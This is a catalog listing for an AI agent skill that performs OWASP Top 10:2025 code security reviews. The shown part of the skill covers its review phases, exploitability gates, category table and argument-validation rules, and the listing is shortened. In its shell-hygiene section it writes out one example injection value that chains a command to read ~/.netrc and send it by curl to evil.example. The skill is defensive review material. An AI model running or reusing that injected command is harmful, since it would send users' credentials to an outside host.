agentic-owasp
SkillMonitoring & opsEXPERIMENTAL. Use when code needs a security review against the OWASP Top 10:2025 — access control, misconfiguration, supply chain, cryptography, injection, insecure design, authentication, integrity, logging and alerting, and mishandled exceptional conditions. Not for penetration testing a running system, not for infrastructure-only scanning, and not for fixing what it finds.
Available today. Use it from your connected AI after setup.
No other account needed.
Connect ahel once, and every AI you use reads what you have installed.
Then ask your AI: use the agentic-owasp skill
What this skill tells your AI
The instructions your AI receives, as published by ovid/paad in plugins/paad/skills/agentic-owasp/SKILL.md and read by ahel’s review.
On invocation: announce "Running paad:agentic-owasp v1.31.0" before anything else.
EXPERIMENTAL SKILL. Its arguments, output paths, and behavior may change or be withdrawn in any release, including patch releases. It is not covered by the semver guarantees the other paad skills carry. Report rough edges at https://github.com/Ovid/paad/issues.
OWASP Top 10:2025 Code Review
Review source code against the ten risk categories in the OWASP Top 10:2025, and report only the findings that survive an exploitability check. The goal is a triaged list a developer can act on, not a list of every pattern that resembles a vulnerability.
This is a technique skill. Follow the phases in order. Do not report a vulnerability until a path has been traced from untrusted input to the dangerous operation, and the controls already sitting in that path have been read.
This skill reads code by default and never modifies a file outside its own
report. Specialists and the verifier never start the application, reach any
host, or run attacker-shaped input. By default they confirm by reading. With the
user's explicit up-front authorization (the Phase 2.5 offer) they may
additionally run benign, in-process, read-only probes — the project's
existing tests, a deparse or -c check, a pure-function call on ordinary input —
to settle a question reading cannot. That is never a payload, never a server,
never the network, never a write. Attacker-shaped proof stays behind its own
separate gate after Phase 4.
Two execution gates, never one. The benign-probe offer (Phase 2.5, before specialists) and the attacker-shaped proof offer (after Phase 4) are distinct decisions with distinct authorizations. Neither implies the other; declining one says nothing about the other; and no execution of either kind happens without its own explicit yes.
Proof by execution is available, and it is the user's call, never yours. After verification, offer it for the High and Medium findings whose sink is reachable in-process, with the trade-offs laid out (see "Optional proof stage" in Phase 4). A finding confirmed by reading can be wrong in a way a runnable proof cannot; a runnable proof means executing attacker-shaped input against code that may not be the user's. Ask, list both sides, honor the answer, and never execute without one.
No report from this skill is a complete list of the weaknesses in the code. Zero findings does not mean zero vulnerabilities — it means this run, with these categories, at this scope, found none it could prove reachable. Thirty findings does not mean thirty is all there is. The categories bound what was looked for, the scope bounds where, and neither bounds what exists. This is not modesty boilerplate: a developer who reads a clean report as an all-clear is worse off than one who never ran the skill, because they now have a reason to stop looking. Say it in the report and say it again when the run ends.
Pre-flight:
digraph preflight {
"Conversation has history?" [shape=diamond];
"Repository available?" [shape=diamond];
"Count source files in scope" [shape=box];
"More than ~40 files?" [shape=diamond];
"Proceed to Phase 1" [shape=box];
"STOP: recommend new session" [shape=box, style=bold];
"STOP: not in repo" [shape=box, style=bold];
"OFFER: narrow to untrusted-input surface, split into subsystem passes, or accept dilution" [shape=box, style=bold];
"NARROW: choose seed scope" [shape=box];
"SPLIT: run coherent subsystems as separate reviews" [shape=box];
"RECORD: Scope dilution accepted = yes, with what was traded" [shape=box];
"Conversation has history?" -> "STOP: recommend new session" [label="yes"];
"Conversation has history?" -> "Repository available?" [label="no"];
"Repository available?" -> "STOP: not in repo" [label="no"];
"Repository available?" -> "Count source files in scope" [label="yes"];
"Count source files in scope" -> "More than ~40 files?";
"More than ~40 files?" -> "OFFER: narrow to untrusted-input surface, split into subsystem passes, or accept dilution" [label="yes"];
"More than ~40 files?" -> "Proceed to Phase 1" [label="no"];
"OFFER: narrow to untrusted-input surface, split into subsystem passes, or accept dilution" -> "NARROW: choose seed scope" [label="narrow"];
"OFFER: narrow to untrusted-input surface, split into subsystem passes, or accept dilution" -> "SPLIT: run coherent subsystems as separate reviews" [label="split"];
"OFFER: narrow to untrusted-input surface, split into subsystem passes, or accept dilution" -> "RECORD: Scope dilution accepted = yes, with what was traded" [label="user wants one wide pass"];
"NARROW: choose seed scope" -> "Proceed to Phase 1" [label="user decides or best-effort scope chosen"];
"SPLIT: run coherent subsystems as separate reviews" -> "Proceed to Phase 1" [label="first subsystem"];
"RECORD: Scope dilution accepted = yes, with what was traded" -> "Proceed to Phase 1";
}
Session flow:
digraph session {
"Phase 1: Reconnaissance" [shape=box];
"Live credential seen?" [shape=diamond];
"STOP: report location, never the value, tell user to rotate" [shape=box, style=bold];
"Phase 2: Attack Surface Mapping" [shape=box];
"Surface found?" [shape=diamond];
"Phase 3: Specialist Review (7 agents, parallel)" [shape=box];
"Any specialist errored/timed_out/malformed?" [shape=diamond];
"Retry that specialist ONCE" [shape=box];
"Phase 4: Verifier (exploitability gate)" [shape=box];
"Verifier returned?" [shape=diamond];
"Retry verifier ONCE" [shape=box];
"Verifier returned on retry?" [shape=diamond];
"User says proceed unverified?" [shape=diamond];
"STOP: surface verifier failure, write no report" [shape=box, style=bold];
"Phase 2.5: Offer benign execution (tests/deparse/pure calls; NEVER payloads, servers, network, writes); ask once" [shape=box];
"Any High/Medium sink reachable in-process?" [shape=diamond];
"Offer proof stage: pros, cons, ask once" [shape=box];
"User authorized proof?" [shape=diamond];
"Write self-proving scripts, exit 0 = open" [shape=box];
"Mark findings unproven, keep severity" [shape=box];
"Phase 5: Report (verified findings)" [shape=box];
"Phase 5: Report (Specialist Findings — Unverified banner)" [shape=box];
"Report: no reachable findings in scope" [shape=box];
"Post-Review: warn the report is a vulnerability roadmap" [shape=box, style=bold];
"Post-Review: findings NOT complete, clean != secure, say why committing is risky" [shape=box, style=bold];
"Done — do NOT fix" [shape=doublecircle];
"Phase 1: Reconnaissance" -> "Live credential seen?";
"Live credential seen?" -> "STOP: report location, never the value, tell user to rotate" [label="yes"];
"STOP: report location, never the value, tell user to rotate" -> "Phase 2: Attack Surface Mapping" [label="after the user is told"];
"Live credential seen?" -> "Phase 2: Attack Surface Mapping" [label="no"];
"Phase 2: Attack Surface Mapping" -> "Surface found?";
"Surface found?" -> "Report: no reachable findings in scope" [label="no"];
"Surface found?" -> "Phase 2.5: Offer benign execution (tests/deparse/pure calls; NEVER payloads, servers, network, writes); ask once" [label="yes"];
"Phase 2.5: Offer benign execution (tests/deparse/pure calls; NEVER payloads, servers, network, writes); ask once" -> "Phase 3: Specialist Review (7 agents, parallel)" [label="answer recorded; relax specialist clause only if yes"];
"Phase 3: Specialist Review (7 agents, parallel)" -> "Any specialist errored/timed_out/malformed?";
"Any specialist errored/timed_out/malformed?" -> "Retry that specialist ONCE" [label="yes"];
"Retry that specialist ONCE" -> "Phase 4: Verifier (exploitability gate)" [label="record outcome map either way"];
"Any specialist errored/timed_out/malformed?" -> "Phase 4: Verifier (exploitability gate)" [label="no"];
"Phase 4: Verifier (exploitability gate)" -> "Verifier returned?";
"Verifier returned?" -> "Any High/Medium sink reachable in-process?" [label="yes"];
"Verifier returned?" -> "Retry verifier ONCE" [label="no"];
"Retry verifier ONCE" -> "Verifier returned on retry?";
"Verifier returned on retry?" -> "Any High/Medium sink reachable in-process?" [label="yes"];
"Verifier returned on retry?" -> "User says proceed unverified?" [label="no"];
"User says proceed unverified?" -> "Phase 5: Report (Specialist Findings — Unverified banner)" [label="yes"];
"User says proceed unverified?" -> "STOP: surface verifier failure, write no report" [label="no"];
"Any High/Medium sink reachable in-process?" -> "Offer proof stage: pros, cons, ask once" [label="yes"];
"Any High/Medium sink reachable in-process?" -> "Mark findings unproven, keep severity" [label="no — do not ask"];
"Offer proof stage: pros, cons, ask once" -> "User authorized proof?";
"User authorized proof?" -> "Write self-proving scripts, exit 0 = open" [label="yes"];
"User authorized proof?" -> "Mark findings unproven, keep severity" [label="no"];
"Write self-proving scripts, exit 0 = open" -> "Phase 5: Report (verified findings)" [label="failed proofs go to rejected table"];
"Mark findings unproven, keep severity" -> "Phase 5: Report (verified findings)";
"Report: no reachable findings in scope" -> "Post-Review: warn the report is a vulnerability roadmap";
"Phase 5: Report (verified findings)" -> "Post-Review: warn the report is a vulnerability roadmap";
"Phase 5: Report (Specialist Findings — Unverified banner)" -> "Post-Review: warn the report is a vulnerability roadmap";
"Post-Review: warn the report is a vulnerability roadmap" -> "Post-Review: findings NOT complete, clean != secure, say why committing is risky";
"Post-Review: findings NOT complete, clean != secure, say why committing is risky" -> "Done — do NOT fix";
}
Exploitability gate (applied to every candidate finding in Phase 4):
digraph exploitability {
"Candidate finding" [shape=box];
"Untrusted source named, with path:line?" [shape=diamond];
"Call path traced from source to sink?" [shape=diamond];
"Existing control neutralizes it?" [shape=diamond];
"Control is complete and always applied?" [shape=diamond];
"Documented public API accepts the value?" [shape=diamond];
"REJECT: no demonstrated source" [shape=box, style=bold];
"DOWNGRADE to Low, move to Hardening" [shape=box];
"REJECT: control holds, note it" [shape=box, style=bold];
"Enumerate every caller reaching the value without the control" [shape=box];
"Composes with a pooled fragment or another item?" [shape=diamond];
"Compose into ONE finding, re-enter this gate as the whole chain" [shape=box];
"FINALIZE: rejected or hardening note" [shape=box];
"KEEP: rank Critical/High/Medium by reach and impact; mark unproven, never downgrade for it" [shape=box];
"Candidate finding" -> "Untrusted source named, with path:line?";
"Untrusted source named, with path:line?" -> "Documented public API accepts the value?" [label="no in-repo caller"];
"Documented public API accepts the value?" -> "REJECT: no demonstrated source" [label="no — and the subject is an application"];
"Documented public API accepts the value?" -> "Call path traced from source to sink?" [label="yes — cite the doc as the source"];
"Untrusted source named, with path:line?" -> "DOWNGRADE to Low, move to Hardening" [label="no source at all, but the pattern is still weak"];
"Untrusted source named, with path:line?" -> "Call path traced from source to sink?" [label="yes"];
"Call path traced from source to sink?" -> "DOWNGRADE to Low, move to Hardening" [label="no"];
"Call path traced from source to sink?" -> "Existing control neutralizes it?" [label="yes"];
"Existing control neutralizes it?" -> "KEEP: rank Critical/High/Medium by reach and impact; mark unproven, never downgrade for it" [label="no"];
"Existing control neutralizes it?" -> "Enumerate every caller reaching the value without the control" [label="yes"];
"Enumerate every caller reaching the value without the control" -> "Control is complete and always applied?";
"Control is complete and always applied?" -> "REJECT: control holds, note it" [label="yes — no bypassing caller found"];
"REJECT: no demonstrated source" -> "Composes with a pooled fragment or another item?";
"DOWNGRADE to Low, move to Hardening" -> "Composes with a pooled fragment or another item?";
"REJECT: control holds, note it" -> "Composes with a pooled fragment or another item?";
"Composes with a pooled fragment or another item?" -> "Compose into ONE finding, re-enter this gate as the whole chain" [label="yes"];
"Composes with a pooled fragment or another item?" -> "FINALIZE: rejected or hardening note" [label="no — record the count either way"];
"Compose into ONE finding, re-enter this gate as the whole chain" -> "Candidate finding";
"Control is complete and always applied?" -> "KEEP: rank Critical/High/Medium by reach and impact; mark unproven, never downgrade for it" [label="no — partial, opt-in, or a caller bypasses it"];
}
The Ten Categories
The 2025 list. Every category is assigned to exactly one specialist in Phase 3; none is left uncovered. A seventh specialist owns no category at all — it looks for mechanisms that cross every category, and files what it finds under the category of the impact.
| ID | Category | What it covers |
|---|---|---|
| A01 | Broken Access Control | Missing or wrong authorization on an object, function, field, or route. IDOR, forced browsing, path traversal, CORS misuse, privilege escalation, client-side-only enforcement. |
| A02 | Security Misconfiguration | Defaults left in place, debug modes, permissive CORS, verbose errors, unnecessary features enabled, missing hardening headers, over-broad cloud/container permissions. |
| A03 | Software Supply Chain Failures | New in 2025, wider than "vulnerable components": unmaintained or untrusted dependencies, compromised build tools, weak CI/CD, unsigned artifacts, missing SBOM, no separation of duties in deploy. |
| A04 | Cryptographic Failures | Data not encrypted in transit or at rest, weak or homegrown algorithms, bad key management, weak password hashing, predictable randomness, bad certificate validation. |
| A05 | Injection | SQL, NoSQL, OS command, LDAP, XPath, template, header, log, and expression-language injection. XSS lives here. Any place untrusted input reaches an interpreter unseparated from code. |
| A06 | Insecure Design | Missing control rather than broken control: no rate limiting, no threat model, business-logic flaws, trust boundaries drawn in the wrong place, missing segregation of tenants. |
| A07 | Authentication Failures | Renamed from "Identification and Authentication Failures". Credential stuffing, weak recovery flows, session fixation, non-expiring or non-rotated tokens, weak MFA, insecure session storage. |
| A08 | Software or Data Integrity Failures | Insecure deserialization, unsigned updates, auto-update without verification, CI/CD pipelines that trust unverified input, untrusted plugin loading. |
| A09 | Security Logging and Alerting Failures | Renamed from "…and Monitoring Failures" to stress alerting. Security events not logged, logs not alertable, log injection, secrets or PII written into logs, tamperable audit trails. |
| A10 | Mishandling of Exceptional Conditions | New in 2025. Failing open, swallowed exceptions, error paths that skip cleanup or rollback, unchecked return values, error messages that leak internals, resource exhaustion on the failure path. |
Reference each finding to its category ID and, where one applies, to a CWE.
What Counts as a Finding
A finding is a specific weakness at a specific path:line that an attacker
could reach, or a control that is missing where the design requires one.
- A route that reads an ID from the request and loads the record without checking ownership.
- A query built by string concatenation from a request field.
- A password stored with a fast hash, or with none.
- A session token that never expires, never rotates on privilege change, or is readable by JavaScript.
- A
catchblock that logs and continues, leaving the caller to act on a half-completed transaction. - A deserializer pointed at request-controlled bytes.
- An admin action with no audit log entry.
- A dependency that is unmaintained, pinned to a version with a known CVE, or installed from an untrusted source.
- A CI workflow that runs untrusted pull-request code with access to secrets.
- A documented public API that mangles, or fails to escape, a value the project's own documentation shows being fed from a request.
- A pair of APIs that disagree on a round trip — what one renders, the other parses back as something else.
- One fact held in two places, where the security decision reads the copy the attacker writes.
What Does Not Count
Do not report a finding because a pattern matched.
Usually not actionable:
- A dangerous-looking API call whose input is a compile-time constant or an operator-supplied config value.
- Injection into an interpreter the framework already parameterizes or escapes by default, unless the code opts out of that default.
- Test fixtures, seed data, example configs, and local development defaults — unless they ship to production or leak a real credential.
- Generated code, vendored code, migration snapshots, lockfiles, and protobuf/OpenAPI output. Report the dependency, not the vendored copy.
- Missing defense-in-depth where the primary control is present and complete. Note it as hardening, do not rank it as a vulnerability.
- "No rate limiting" on an endpoint that is already behind an authenticated, quota'd gateway — read the deployment config before asserting the gap.
- Findings whose remediation the codebase's own steering files explicitly reject as a documented risk acceptance. Report the acceptance as a finding only if the reasoning no longer holds.
Arguments
/agentic-owasp accepts optional $ARGUMENTS:
/agentic-owasp— review the current repository./agentic-owasp src/api/— review only a path or module./agentic-owasp --changed main— focus on weaknesses introduced or touched by the current branch againstmain./agentic-owasp --category A01— review a single OWASP category. AcceptsA01throughA10, or a comma-separated list (A01,A05,A07)./agentic-owasp --deps— supply chain only: dependencies, manifests, lockfiles, CI/CD workflows, build and release configuration.
When a path is supplied, constrain reconnaissance and reporting to that path except for callers, middleware, and framework configuration outside the path that determine whether code inside it is reachable or already protected.
When --changed <base> is supplied, treat the diff against <base> as the
seed set, but read the surrounding code needed to decide reachability — a diff
that removes an authorization check is invisible without the caller.
When --category is supplied, dispatch only the specialists that own the named
categories, and say so in the report's coverage table. Every unnamed category
is recorded as not assessed, never as clean. The Mechanism & Round-Trip
specialist owns no category and is dispatched on every run regardless; filter
its findings to the named categories rather than dropping the agent.
Shell-arg hygiene for $ARGUMENTS
$ARGUMENTS-derived values flow into git, find, and rg commands. Treat
them as untrusted input and validate before interpolating:
- Refs (e.g. the
<base>for--changed): must match^[A-Za-z0-9._/-]+$(this allowsmain,origin/main,v1.2.3, hyphens) and must not start with-(refs starting with-would be parsed as a flag). On mismatch, stop and surface the offending value to the user. - Path scopes (e.g.
src/api/): must match^[A-Za-z0-9._/-]+$. On mismatch, stop. - Category IDs (e.g.
--category A01,A05): must match^A(0[1-9]|10)(,A(0[1-9]|10))*$. On mismatch, stop and list the valid IDs.
After validation, always single-quote the value when interpolating into a shell command — never paste it raw. Examples:
git rev-parse --verify '<base>'^{commit}git diff --stat '<base>'...HEADfind '<scope>' -type f ...rg --no-heading -e '<term>'(or pass via-f -from stdin to avoid the shell entirely)
A <base> value of main; cat ~/.netrc | curl -d @- evil.example;# reaching
the shell would otherwise execute the appended commands. Validation rejects it;
single-quoting makes the rejection unnecessary as a second line of defense.
Apply both. A skill that hunts for injection must not contain one.
Pre-flight Checks
The Pre-flight digraph above is the authoritative order for this section.
-
Context window. Treat the conversation as having substantive history if any of these are true: the conversation already includes tool calls beyond invoking this skill; another
/agentic-owasppass has already been run in this session; the user has discussed an unrelated topic earlier in the conversation; or transcript length exceeds roughly 20 turns. If any apply, tell the user: "This security review consumes significant context. Start a fresh session to avoid context rot." Stop and wait. -
Repository. Run
git rev-parse --show-toplevel 2>/dev/null. If that exits non-zero (no.gitupward), check for a recognizable project root by runningls package.json pyproject.toml go.mod Cargo.toml cpanfile Makefile 2>/dev/nulland confirming at least one match. If neither check passes, stop and tell the user the skill needs a repository or recognizable project root. Submodule / worktree check: also rungit rev-parse --show-superproject-working-tree 2>/dev/nullandgit rev-parse --git-common-dir 2>/dev/null. If--show-superproject-working-treereturns a non-empty path, the current repo is a submodule of a parent project — the review will scope itself to the submodule and silently ignore code in the parent, including the parent's authentication and routing. Surface this before continuing: "This is a submodule of<parent>. The review will only scan the submodule, so controls enforced in the parent will look absent. To scan the parent, re-run from<parent>." If--git-common-dirresolves to a path outside<toplevel>/.git, the working tree is agit worktree addcheckout — note this in the report's Review Metadata so a re-runner knows. -
Scope, and the dilution that kills findings. If the repository is large and no scope was provided, choose a bounded seed scope automatically rather than attempting a full exhaustive scan. Prefer the code that faces untrusted input: HTTP handlers, routers, GraphQL resolvers, queue consumers, webhook receivers, file upload paths, CLI entry points, and the authentication and authorization modules they call.
Breadth costs depth, and it costs it silently. A wide pass does not return a slightly shallower version of a narrow pass — it returns a different result, missing things a narrow pass over the same files finds every time. Measured on one framework: pointed at a single module, the Mechanism specialist found its flagship weakness in three runs out of three and turned up several more defects in the same file; a full-repository pass over 133 files read that module, filed a piece of the same weakness as a hardening note, and shipped without it. Same code, same skill, same model. Nothing in the wide run's output said depth had been traded away — it reported more findings overall, which is exactly what makes the trade invisible.
Shortened here. Read the whole file on GitHub.
Signals
- GitHub stars
- 112
- Forks
- 10
- Last commit
- Sep 2026
Advanced
- Catalog kind
- skill
- Gateway key
agentic-owasp- Source
- github.com/ovid/paad